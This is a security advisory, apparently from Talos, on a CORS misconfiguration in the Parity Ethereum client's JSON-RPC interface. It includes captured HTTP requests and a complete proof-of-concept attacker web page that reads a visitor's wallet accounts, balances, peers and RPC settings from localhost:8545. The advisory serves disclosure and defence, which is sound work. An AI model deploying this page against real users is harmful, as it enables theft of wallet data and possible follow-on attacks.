Lucene search

K
talosTalos IntelligenceTALOS-2017-0508
HistoryJan 09, 2018 - 12:00 a.m.

Parity Ethereum Client Overly Permissive Cross-domain Whitelist JSON-RPC vulnerability

2018-01-0900:00:00
Talos Intelligence
www.talosintelligence.com
87

5.1 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

HIGH

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:H/Au:N/C:P/I:P/A:P

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

0.003 Low

EPSS

Percentile

70.3%

Summary

An exploitable overly permissive cross-domain (CORS) whitelist vulnerability exists in JSON-RPC of Parity Ethereum client version 1.7.8. An automatically sent JSON object to JSON-RPC endpoint can trigger this vulnerability. A victim needs to visit malicious website to trigger this vulnerability.

Tested Versions

Parity 1.7.8

Product URLs

<https://www.parity.io>

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-942: Overly Permissive Cross-domain Whitelist

Details

Parity is a Rust ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is a part of Parity is a JSON-RPC interface. Its turned on by default and exposes significant number of APIs due to an overly permissive cross-domain (CORS) whitelist, which by default is set to β€˜*’. A user running Parity wallet visiting malicious websites is exposed to exploitation of this JSON-RPC daemon misconfiguration which can lead to: sensitive data leak of existing accounts, parity settings and network configuration but can also lead to modification of accounts and parity settings if certain APIs have been turned on. Let’s see how the JSON-RPC daemon behaves for XHR request:

icewall@ubuntu: parity
2017-12-08 09:18:18  Starting Parity/v1.9.0-unstable-77ee23b-20171208/x86-linux-gnu/rustc1.22.1
2017-12-08 09:18:18  Keys path /home/icewall/snap/parity/6173/.local/share/io.parity.ethereum/keys/Foundation
2017-12-08 09:18:18  DB path /home/icewall/snap/parity/6173/.local/share/io.parity.ethereum/chains/ethereum/db/906a34e69aec8c0d
2017-12-08 09:18:18  Path to dapps /home/icewall/snap/parity/6173/.local/share/io.parity.ethereum/dapps
2017-12-08 09:18:18  State DB configuration: fast
2017-12-08 09:18:18  Operating mode: active
2017-12-08 09:18:18  Configured for Foundation using Ethash engine
2017-12-08 09:18:19  Updated conversion rate to Ξ1 = US$456.88 (260566460 wei/gas)
2017-12-08 09:18:24  Public node URL:      enode://d620920c7ca6566f37f805505752e0f909f3b7dce7f7e9de0d63c955800abc4235059e5d04e435abc652ff01a9590693a63bd1150237a99b30e
[email protected]:30303
2017-12-08 09:18:49     0/25 peers   7 KiB chain 3 MiB db 0 bytes queue 448 bytes sync  RPC:  0 conn,  0 req/s, 220 Β΅s
2017-12-08 09:19:19     0/25 peers   7 KiB chain 3 MiB db 0 bytes queue 448 bytes sync  RPC:  0 conn,  0 req/s, 220 Β΅s
2017-12-08 09:19:49     0/25 peers   7 KiB chain 3 MiB db 0 bytes queue 448 bytes sync  RPC:  0 conn,  0 req/s, 220 Β΅s

Next we visit a website at address: 192.168.217.155 which serves a page with a simple script:

&lt;script src="https://code.jquery.com/jquery-3.2.1.min.js"&gt;&lt;/script&gt;

&lt;script&gt;
$(document).ready(function(){
  $("#button").click(function(){
			$.ajax( {
		type: "POST",
		url : "http://localhost:8545",
		data : '{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}',
		success : function (data ) {console.log(data)},
		contentType:"application/json; charset=utf-8",
		dataType : "json"
		} )
  });
});
&lt;/script&gt;	

Successfully execution of the XHR should leak us information about existing accounts related with this node. Let’s check how an automatically executed request by the browser would look like:

CORS preflight

REQUEST
Host: localhost:8545
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: http://192.168.217.155
Connection: keep-alive

RESPONSE
Content-Type: application/json
Allow: OPTIONS, POST
Accept: application/json
Access-Control-Allow-Methods: OPTIONS, POST
Access-Control-Allow-Headers: origin, content-type, accept
Access-Control-Allow-Origin: http://192.168.217.155
Vary: origin
Transfer-Encoding: chunked
Date: Fri, 08 Dec 2017 17:18:39 GMT

The server allows that kind of request from our orgin β€˜Access-Control-Allow-Origin: http://192.168.217.155’. So next the browser sends the final request:

REQUEST
Host: localhost:8545
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.217.155/
Content-Type: application/json; charset=utf-8
Content-Length: 60
Origin: http://192.168.217.155
Connection: keep-alive	
{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}

RESPONSE
Content-Type: application/json
Access-Control-Allow-Methods: OPTIONS, POST
Access-Control-Allow-Headers: origin, content-type, accept
Access-Control-Allow-Origin: http://192.168.217.155
Vary: origin
Transfer-Encoding: chunked
Date: Fri, 08 Dec 2017 17:18:39 GMT	
{"jsonrpc":"2.0","result":["0xf05d73d8a49eeb85d32c3465507dd71d50120037"],"id":1}

As you can see, we managed to steal information about existing accounts.

Exploit Proof-of-Concept

HOST: Attacker
cat /var/www/html/index.html

&lt;html&gt;
&lt;head&gt;&lt;/head&gt;
&lt;body&gt;
  &lt;script src="https://code.jquery.com/jquery-3.2.1.min.js"&gt;&lt;/script&gt;
  &lt;script&gt;
	String.prototype.format = function() {
	  var formatted = this;
	  for(arg in arguments) {
			formatted = formatted.replace("{" + arg + "}", arguments[arg]);
		}
		return formatted;
	};
	var accounts = new Array();
	function getBalance(data)
	{
		data["result"].forEach(function(account){
		  callRPC("eth_getBalance","\"{0}\",\"latest\"".format(account),"Account balance is (wei)")
		});            
	}
	function callRPC(methodName,params,message)
	{
	  $.ajax( {
		type: "POST",
		url : "http://localhost:8545",
		data : '{"jsonrpc":"2.0","method":"{0}","params":[{1}],"id":1}'.format(methodName,params),
		success : function (data ) {
		  $("#stolenInfo").append( "</br> " + "{0} : {1}".format(message,JSON.stringify(data).substring(0,300)) )
		  if(methodName == "eth_accounts")
		  {
			getBalance(data)
		  }
			
		},
		contentType:"application/json; charset=utf-8",
		dataType : "json"
		} )
	}

	$(document).ready(function(){
	  callRPC("eth_accounts","","I see your accounts are");
	  callRPC("parity_netPeers","","Connected to the following peers");
	  callRPC("parity_rpcSettings","","RPC settings");
	  callRPC("parity_versionInfo","","Parity release info");
	});
  &lt;/script&gt;
  
  <div>
	Look what I know about you :
  </div>

&lt;/body&gt;
&lt;/html&gt;


Host: Parity user
Run parity and visit attacker website.
As a result you should be able to observe, leaked information about:
- existing accounts on this parity node with their balance	
- list of connected peers with that node
- rpc settings
- parity version info

Mitigation

Turn off/block possibility for CORS request to JSON-RPC interface.

Timeline

2017-12-22 - Vendor Disclosure
2018-01-02 - Public Release

5.1 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

HIGH

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:H/Au:N/C:P/I:P/A:P

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

0.003 Low

EPSS

Percentile

70.3%

Related for TALOS-2017-0508